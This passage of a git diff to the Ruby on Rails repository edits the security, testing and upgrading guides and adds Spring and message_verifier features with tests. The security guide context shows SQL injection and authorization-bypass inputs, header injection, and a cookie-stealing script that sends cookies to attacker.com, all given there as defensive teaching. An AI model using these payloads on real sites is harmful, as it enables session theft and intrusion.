+INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
-The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
@@ -528,7 +528,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
@project = Project.find(params[:id])
```
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
```ruby
@project = @current_user.projects.find(params[:id])
@@ -571,7 +571,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
Project.where("name = '#{params[:name]}'")
```
-This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
+This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
```sql
SELECT * FROM projects WHERE name = '' OR 1 --'
@@ -581,7 +581,7 @@ The two dashes start a comment ignoring everything after it. So the query return
#### Bypassing Authorization
-Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
+Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
```ruby
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
@@ -679,7 +679,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
<script>document.write(document.cookie);</script>
```
-For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
+For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
```html
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
@@ -888,7 +888,7 @@ HTTP/1.1 302 Moved Temporarily
Location: http://www.malicious.tld
```
-So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
+So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
#### Response Splitting
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 2fd0ed209d..d00fcd1f03 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -794,18 +794,23 @@ end
Rake Tasks for Running your Tests
---------------------------------
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project.
+You don't need to set up and run your tests by hand on a test-by-test basis.
+Rails comes with a number of commands to help in testing.
+The table below lists all commands that come along in the default Rakefile
+when you initiate a Rails project.
| Tasks | Description |
| ----------------------- | ----------- |
-| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default|
-| `rake test:controllers` | Runs all the controller tests from `test/controllers`|
-| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
-| `rake test:helpers` | Runs all the helper tests from `test/helpers`|
-| `rake test:integration` | Runs all the integration tests from `test/integration`|
-| `rake test:mailers` | Runs all the mailer tests from `test/mailers`|
-| `rake test:models` | Runs all the model tests from `test/models`|
-| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default |
+| `rake test:controllers` | Runs all the controller tests from `test/controllers` |
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
+| `rake test:helpers` | Runs all the helper tests from `test/helpers` |
+| `rake test:integration` | Runs all the integration tests from `test/integration` |
+| `rake test:mailers` | Runs all the mailer tests from `test/mailers` |
+| `rake test:models` | Runs all the model tests from `test/models` |
+| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
+| `rake test:all` | Runs all tests quickly by merging all types and not resetting db |
+| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db |
Brief Note About `MiniTest`
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
index 004d6bd466..de06ab291f 100644
--- a/guides/source/upgrading_ruby_on_rails.md
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -22,6 +22,102 @@ Rails generally stays close to the latest released Ruby version when it's releas
TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
+Upgrading from Rails 4.0 to Rails 4.1
+-------------------------------------
+
+NOTE: This section is a work in progress.
+
+### Spring
+
+If you want to use Spring as your application preloader you need to:
+
+1. Add `gem 'spring', group: :development` to your `Gemfile`.
+2. Install spring using `bundle install`.
+3. Springify your binstubs with `bundle exec spring binstub --all`.
+
+NOTE: User defined rake tasks will run in the `development` environment by
+default. If you want them to run in other environments consult the
+[Spring README](https://github.com/jonleighton/spring#rake).
+
+### Changes in JSON handling
+
+The are a few major changes related to JSON handling in Rails 4.1.
+
+#### MultiJSON removal
+
+MultiJSON has reached its [end-of-life](https://github.com/rails/rails/pull/10576)
+and has been removed from Rails.
+
+If your application currently depend on MultiJSON directly, you have a few options:
+
+1. Add 'multi_json' to your Gemfile. Note that this might cease to work in the future
+
+2. Migrate away from MultiJSON by using `obj.to_json`, and `JSON.parse(str)` instead.
+
+WARNING: Do not simply replace `MultiJson.dump` and `MultiJson.load` with
+`JSON.dump` and `JSON.load`. These JSON gem APIs are meant for serializing and
+deserializing arbitrary Ruby objects and are generally [unsafe](http://www.ruby-doc.org/stdlib-2.0.0/libdoc/json/rdoc/JSON.html#method-i-load).
+
+#### JSON gem compatibility
+
+Historically, Rails had some compatibility issues with the JSON gem. Using
+`JSON.generate` and `JSON.dump` inside a Rails application could produce
+unexpected errors.
+
+Rails 4.1 fixed these issues by isolating its own encoder from the JSON gem. The
+JSON gem APIs will function as normal, but they will not have access to any
+Rails-specific features. For example:
+
+```ruby
+class FooBar
+ def as_json(options = nil)
+ { foo: "bar" }
+ end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+```
+
+#### New JSON encoder
+
+The JSON encoder in Rails 4.1 has been rewritten to take advantage of the JSON
+gem. For most applications, this should be a transparent change. However, as
+part of the rewrite, the following features have been removed from the encoder:
+
+1. Circular data structure detection
+2. Support for the `encode_json` hook
+3. Option to encode `BigDecimal` objects as numbers instead of strings
+
+If you application depends on one of these features, you can get them back by
+adding the [`activesupport-json_encoder`](https://github.com/rails/activesupport-json_encoder)
+gem to your Gemfile.
+
+### Methods defined in Active Record fixtures
+
+Rails 4.1 evaluates each fixture's ERB in a separate context, so helper methods
+defined in a fixture will not be available in other fixtures.
+
+Helper methods that are used in multiple fixtures should be defined on modules
+included in the newly introduced `ActiveRecord::FixtureSet.context_class`, in
+`test_helper.rb`.
+
+```ruby
+class FixtureFileHelpers
+ def file_sha(path)
+ Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+ end
+end
+ActiveRecord::FixtureSet.context_class.send :include, FixtureFileHelpers
+```
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
### HTTP PATCH
Rails 4 now uses `PATCH` as the primary HTTP verb for updates when a RESTful
@@ -120,15 +216,6 @@ Ruby libraries yet. Aaron Patterson's
[hana](https://github.com/tenderlove/hana) is one such gem, but doesn't have
full support for the last few changes in the specification.
-Upgrading from Rails 3.2 to Rails 4.0
--------------------------------------
-
-NOTE: This section is a work in progress.
-
-If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
-
-The following changes are meant for upgrading your application to Rails 4.0.
-
### Gemfile
Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that
@@ -346,7 +433,7 @@ Upgrading from Rails 3.1 to Rails 3.2
If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
-The following changes are meant for upgrading your application to Rails 3.2.15,
+The following changes are meant for upgrading your application to Rails 3.2.16,
the last 3.2.x version of Rails.
### Gemfile
@@ -354,7 +441,7 @@ the last 3.2.x version of Rails.
Make the following changes to your `Gemfile`.
```ruby
-gem 'rails', '3.2.15'
+gem 'rails', '3.2.16'
group :assets do
gem 'sass-rails', '~> 3.2.6'
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
index 21ac596ab9..3813ef7909 100644
--- a/railties/CHANGELOG.md
+++ b/railties/CHANGELOG.md
@@ -1,3 +1,32 @@
+* Add `Application#message_verifier` method to return a message verifier.
+
+ This verifier can be used to generate and verify signed messages in the application.
+
+ message = Rails.application.message_verifier('salt').generate('my sensible data')
+ Rails.application.message_verifier('salt').verify(message)
+ # => 'my sensible data'
+
+ It is recommended not to use the same verifier for different things, so you can get different
+ verifiers passing the name argument.
+
+ message = Rails.application.message_verifier('cookies').generate('my sensible cookie data')
+
+ See the `ActiveSupport::MessageVerifier` documentation for more information.
+
+ *Rafael Mendonça França*
+
+* The [Spring application
+ preloader](https://github.com/jonleighton/spring) is now installed
+ by default for new applications. It uses the development group of
+ the Gemfile, so will not be installed in production.
+
+ *Jon Leighton*
+
+* Uses .railsrc while creating new plugin if it is available.
+ Fixes #10700.
+
+ *Prathamesh Sonpatki*
+
* Remove turbolinks when generating a new application based on a template that skips it.
Example:
@@ -148,11 +177,11 @@
*Paul Nikitochkin*
* Remove deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
- favor of `ActiveRecord::Generators::ActiveModel#update`
+ favor of `ActiveRecord::Generators::ActiveModel#update`.
*Vipul A M*
-* Remove deprecated `config.whiny_nils` option
+* Remove deprecated `config.whiny_nils` option.
*Vipul A M*
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index d1e88cfafd..e45bfaf6fc 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,6 +1,7 @@
require 'fileutils'
require 'active_support/core_ext/object/blank'
require 'active_support/key_generator'
+require 'active_support/message_verifier'
require 'rails/engine'
module Rails
@@ -107,12 +108,13 @@ module Rails
def initialize(initial_variable_values = {}, &block)
super()
- @initialized = false
- @reloaders = []
- @routes_reloader = nil
- @app_env_config = nil
- @ordered_railties = nil
- @railties = nil
+ @initialized = false
+ @reloaders = []
+ @routes_reloader = nil
+ @app_env_config = nil
+ @ordered_railties = nil
+ @railties = nil
+ @message_verifiers = {}
add_lib_to_load_path!
ActiveSupport.run_load_hooks(:before_configuration, self)
@@ -158,6 +160,31 @@ module Rails
end
end
+ # Returns a message verifier object.
+ #
+ # This verifier can be used to generate and verify signed messages in the application.
+ #
+ # It is recommended not to use the same verifier for different things, so you can get different
+ # verifiers passing the +verifier_name+ argument.
+ #
+ # ==== Parameters
+ #
+ # * +salt+ - the salt that will be used to generate the secret key of the verifier.
+ #
+ # ==== Examples
+ #
+ # message = Rails.application.message_verifier('salt').generate('my sensible data')
+ # Rails.application.message_verifier('salt').verify(message)
+ # # => 'my sensible data'
+ #
+ # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+ def message_verifier(salt)
+ @message_verifiers[salt] ||= begin
+ secret = key_generator.generate_key(salt)
+ ActiveSupport::MessageVerifier.new(secret)
+ end
+ end
+
# Stores some of the Rails initial environment parameters which
# will be used by middlewares and engines to configure themselves.
def env_config
diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb
index 570ff02c83..a00afe008c 100644
--- a/railties/lib/rails/application/default_middleware_stack.rb
+++ b/railties/lib/rails/application/default_middleware_stack.rb
@@ -11,11 +11,6 @@ module Rails
def build_stack
ActionDispatch::MiddlewareStack.new.tap do |middleware|
- if rack_cache = load_rack_cache
- require "action_dispatch/http/rack_cache"
- middleware.use ::Rack::Cache, rack_cache
- end
-
if config.force_ssl
middleware.use ::ActionDispatch::SSL, config.ssl_options
end
@@ -26,6 +21,11 @@ module Rails
middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control
end
+ if rack_cache = load_rack_cache
+ require "action_dispatch/http/rack_cache"
+ middleware.use ::Rack::Cache, rack_cache
+ end
+
middleware.use ::Rack::Lock unless allow_concurrency?
middleware.use ::Rack::Runtime
middleware.use ::Rack::MethodOverride
diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb
index 837fe0ec10..f7a0b99005 100644
--- a/railties/lib/rails/commands/plugin.rb
+++ b/railties/lib/rails/commands/plugin.rb
@@ -2,6 +2,20 @@ if ARGV.first != "new"
ARGV[0] = "--help"
else
ARGV.shift
+ unless ARGV.delete("--no-rc")
+ customrc = ARGV.index{ |x| x.include?("--rc=") }
+ railsrc = if customrc
+ File.expand_path(ARGV.delete_at(customrc).gsub(/--rc=/, ""))
+ else
+ File.join(File.expand_path("~"), '.railsrc')
+ end
+ if File.exist?(railsrc)
+ extra_args_string = File.read(railsrc)
+ extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ ARGV.insert(1, *extra_args)
+ end
+ end
end
require 'rails/generators'
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index 2022b4ed3d..5d4682f6e3 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -47,6 +47,9 @@ module Rails
class_option :skip_sprockets, type: :boolean, aliases: '-S', default: false,
desc: 'Skip Sprockets files'
+ class_option :skip_spring, type: :boolean, default: false,
+ desc: "Don't install Spring application preloader"
+
class_option :database, type: :string, aliases: '-d', default: 'sqlite3',
desc: "Preconfigure for selected database (options: #{DATABASES.join('/')})"
@@ -109,6 +112,7 @@ module Rails
jbuilder_gemfile_entry,
sdoc_gemfile_entry,
platform_dependent_gemfile_entry,
+ spring_gemfile_entry,
@extra_entries].flatten.find_all(&@gem_filter)
end
@@ -365,6 +369,12 @@ module Rails
end
end
+ def spring_gemfile_entry
+ return [] unless spring_install?
+ comment = 'Spring speeds up development by keeping your application running in the background. Read more: https://github.com/jonleighton/spring'
+ GemfileEntry.new('spring', nil, comment, group: :development)
+ end
+
def bundle_command(command)
say_status :run, "bundle #{command}"
@@ -388,8 +398,22 @@ module Rails
end
end
+ def bundle_install?
+ !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+ end
+
+ def spring_install?
+ !options[:skip_spring] && Process.respond_to?(:fork)
+ end
+
def run_bundle
- bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
+ bundle_command('install') if bundle_install?
+ end
+
+ def generate_spring_binstubs
+ if bundle_install? && spring_install?
+ bundle_command("exec spring binstub --all")
+ end
end
def empty_directory_with_keep_file(destination, config = {})
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index a2023886cd..87556bd609 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -237,6 +237,7 @@ module Rails
public_task :run_bundle
public_task :replay_template
+ public_task :generate_spring_binstubs
protected
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index ac41a0cadb..16fe50bab8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -15,7 +15,7 @@ require "action_mailer/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
+Bundler.require(*Rails.groups)
module <%= app_const_base %>
class Application < Rails::Application
@@ -30,10 +30,5 @@ module <%= app_const_base %>
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
-<% if options.skip_sprockets? -%>
-
- # Disable the asset pipeline.
- config.assets.enabled = false
-<% end -%>
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 1a3a5e4dd2..3c9c7c01f3 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1,4 +1,4 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-agent: *
diff --git a/railties/lib/rails/generators/rails/plugin/templates/Gemfile b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
index d576784415..88ec4e6354 100644
--- a/railties/lib/rails/generators/rails/plugin/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin/templates/Gemfile
@@ -39,5 +39,7 @@ end
<% end -%>
<% end -%>
+<% unless defined?(JRUBY_VERSION) -%>
# To use debugger
# gem 'debugger'
+<% end -%>
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 03a735b1c1..b3fbceb0dc 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -268,6 +268,41 @@ module ApplicationTests
assert_equal 'some_value', verifier.verify(last_response.body)
end
+ test "application verifier can be used in the entire application" do
+ make_basic_app do |app|
+ app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ message = app.message_verifier('salt').generate("some_value")
+
+ assert_equal 'some_value', Rails.application.message_verifier('salt').verify(message)
+
+ secret = app.key_generator.generate_key('salt')
+ verifier = ActiveSupport::MessageVerifier.new(secret)
+ assert_equal 'some_value', verifier.verify(message)
+ end
+
+ test "application verifier can build different verifiers" do
+ make_basic_app do |app|
+ app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+ app.config.session_store :disabled
+ end
+
+ default_verifier = app.message_verifier('salt')
+ text_verifier = app.message_verifier('text')
+
+ message = text_verifier.generate('some_value')
+
+ assert_equal 'some_value', text_verifier.verify(message)
+ assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+ default_verifier.verify(message)
+ end
+
+ assert_equal default_verifier.object_id, app.message_verifier('salt').object_id
+ assert_not_equal default_verifier.object_id, text_verifier.object_id
+ end
+
test "protect from forgery is the default in a new app" do
make_basic_app
@@ -459,7 +494,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading without cache_classes default" do
@@ -467,7 +502,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = false" do
@@ -478,7 +513,7 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert !ActionView::Resolver.caching?
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_view.cache_template_loading = true" do
@@ -489,7 +524,21 @@ module ApplicationTests
require "#{app_path}/config/environment"
require 'action_view/base'
- assert ActionView::Resolver.caching?
+ assert_equal true, ActionView::Resolver.caching?
+ end
+
+ test "config.action_view.cache_template_loading with cache_classes in an environment" do
+ build_app(initializers: true)
+ add_to_env_config "development", "config.cache_classes = false"
+
+ # These requires are to emulate an engine loading Action View before the application
+ require 'action_view'
+ require 'action_view/railtie'
+ require 'action_view/base'
+
+ require "#{app_path}/config/environment"
+
+ assert_equal false, ActionView::Resolver.caching?
end
test "config.action_dispatch.show_exceptions is sent in env" do
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 97df073ec7..2a64cd8ba7 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -183,5 +183,16 @@ en:
load_app
assert_fallbacks ca: [:ca, :"es-ES", :es, :'en-US', :en]
end
+
+ test "config.i18n.enforce_available_locales is set before config.i18n.default_locale is" do
+ add_to_config <<-RUBY
+ config.i18n.default_locale = :it
+ config.i18n.enforce_available_locales = true
+ RUBY
+
+ assert_raises(I18n::InvalidLocale) do
+ load_app
+ end
+ end
end
end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 20d1d76d78..1557b90d27 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -61,7 +61,7 @@ module ApplicationTests
boot!
- assert_equal "Rack::Cache", middleware.first
+ assert middleware.include?("Rack::Cache")
end
test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index 6f03cf3083..e584c01da9 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -113,6 +113,9 @@ class AppGeneratorTest < Rails::Generators::TestCase
FileUtils.mv(app_root, app_moved_root)
+ # make sure we are in correct dir
+ FileUtils.cd(app_moved_root)
+
generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
destination_root: app_moved_root, shell: @shell
generator.send(:app_const)
@@ -288,7 +291,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
run_generator [destination_root, "--skip-sprockets"]
assert_file "config/application.rb" do |content|
assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
- assert_match(/config\.assets\.enabled = false/, content)
end
assert_file "Gemfile" do |content|
assert_no_match(/sass-rails/, content)
@@ -364,7 +366,13 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_inclusion_of_debugger
run_generator
- assert_file "Gemfile", /# gem 'debugger'/
+ if defined?(JRUBY_VERSION)
+ assert_file "Gemfile" do |content|
+ assert_no_match(/debugger/, content)
+ end
+ else
+ assert_file "Gemfile", /# gem 'debugger'/
+ end
end
def test_inclusion_of_lazy_loaded_sdoc
@@ -429,6 +437,34 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "foo bar/config/initializers/session_store.rb", /key: '_foo_bar/
end
+ def test_spring
+ run_generator
+ assert_file "Gemfile", /gem 'spring', \s+group: :development/
+ end
+
+ def test_spring_binstubs
+ generator.stubs(:bundle_command).with('install')
+ generator.expects(:bundle_command).with('exec spring binstub --all').once
+ quietly { generator.invoke_all }
+ end
+
+ def test_spring_no_fork
+ Process.stubs(:respond_to?).with(:fork).returns(false)
+ run_generator
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
+ end
+
+ def test_skip_spring
+ run_generator [destination_root, "--skip-spring"]
+
+ assert_file "Gemfile" do |content|
+ assert_no_match(/spring/, content)
+ end
+ end
+
protected
def action(*args, &block)
diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb
index c6b91e7cba..f5f2495e7d 100644
--- a/railties/test/generators/plugin_generator_test.rb
+++ b/railties/test/generators/plugin_generator_test.rb
@@ -58,6 +58,17 @@ class PluginGeneratorTest < Rails::Generators::TestCase
assert_file "test/integration/navigation_test.rb", /ActionDispatch::IntegrationTest/
end
+ def test_inclusion_of_debugger
+ run_generator [destination_root, '--full']
+ if defined?(JRUBY_VERSION)
+ assert_file "Gemfile" do |content|
+ assert_no_match(/debugger/, content)
+ end
+ else
+ assert_file "Gemfile", /# gem 'debugger'/
+ end
+ end
+
def test_generating_test_files_in_full_mode_without_unit_test_files
run_generator [destination_root, "-T", "--full"]
@@ -309,7 +320,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase
end
def test_creating_plugin_in_app_directory_adds_gemfile_entry
- # simulate application existance
+ # simulate application existence
gemfile_path = "#{Rails.root}/Gemfile"
Object.const_set('APP_PATH', Rails.root)
FileUtils.touch gemfile_path
@@ -323,7 +334,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase
end
def test_skipping_gemfile_entry
- # simulate application existance
+ # simulate application existence
gemfile_path = "#{Rails.root}/Gemfile"
Object.const_set('APP_PATH', Rails.root)
FileUtils.touch gemfile_path
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index 7184639d23..8e198d5fe1 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -26,11 +26,17 @@ module SharedGeneratorTests
default_files.each { |path| assert_file path }
end
- def test_generation_runs_bundle_install
- generator([destination_root]).expects(:bundle_command).with('install').once
+ def assert_generates_with_bundler(options = {})
+ generator([destination_root], options)
+ generator.expects(:bundle_command).with('install').once
+ generator.stubs(:bundle_command).with('exec spring binstub --all')
quietly { generator.invoke_all }
end
+ def test_generation_runs_bundle_install
+ assert_generates_with_bundler
+ end
+
def test_plugin_new_generate_pretend
run_generator ["testapp", "--pretend"]
default_files.each{ |path| assert_no_file File.join("testapp",path) }
@@ -96,15 +102,13 @@ module SharedGeneratorTests
end
def test_dev_option
- generator([destination_root], dev: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler dev: true
rails_path = File.expand_path('../../..', Rails.root)
assert_file 'Gemfile', /^gem\s+["']rails["'],\s+path:\s+["']#{Regexp.escape(rails_path)}["']$/
end
def test_edge_option
- generator([destination_root], edge: true).expects(:bundle_command).with('install').once
- quietly { generator.invoke_all }
+ assert_generates_with_bundler edge: true
assert_file 'Gemfile', %r{^gem\s+["']rails["'],\s+github:\s+["']#{Regexp.escape("rails/rails")}["']$}
end
diff --git a/railties/test/rails_info_controller_test.rb b/railties/test/rails_info_controller_test.rb
index e45a5228a1..a9b237d0a5 100644
--- a/railties/test/rails_info_controller_test.rb
+++ b/railties/test/rails_info_controller_test.rb
@@ -1,7 +1,5 @@
require 'abstract_unit'
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-
module ActionController
class Base
include ActionController::Testing
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index 3075ffee0d..c4b18e9ea5 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -399,7 +399,7 @@ YAML
assert $plugin_initializer
end
- test "midleware referenced in configuration" do
+ test "middleware referenced in configuration" do
@plugin.write "lib/bukkits.rb", <<-RUBY
class Bukkits
def initialize(app)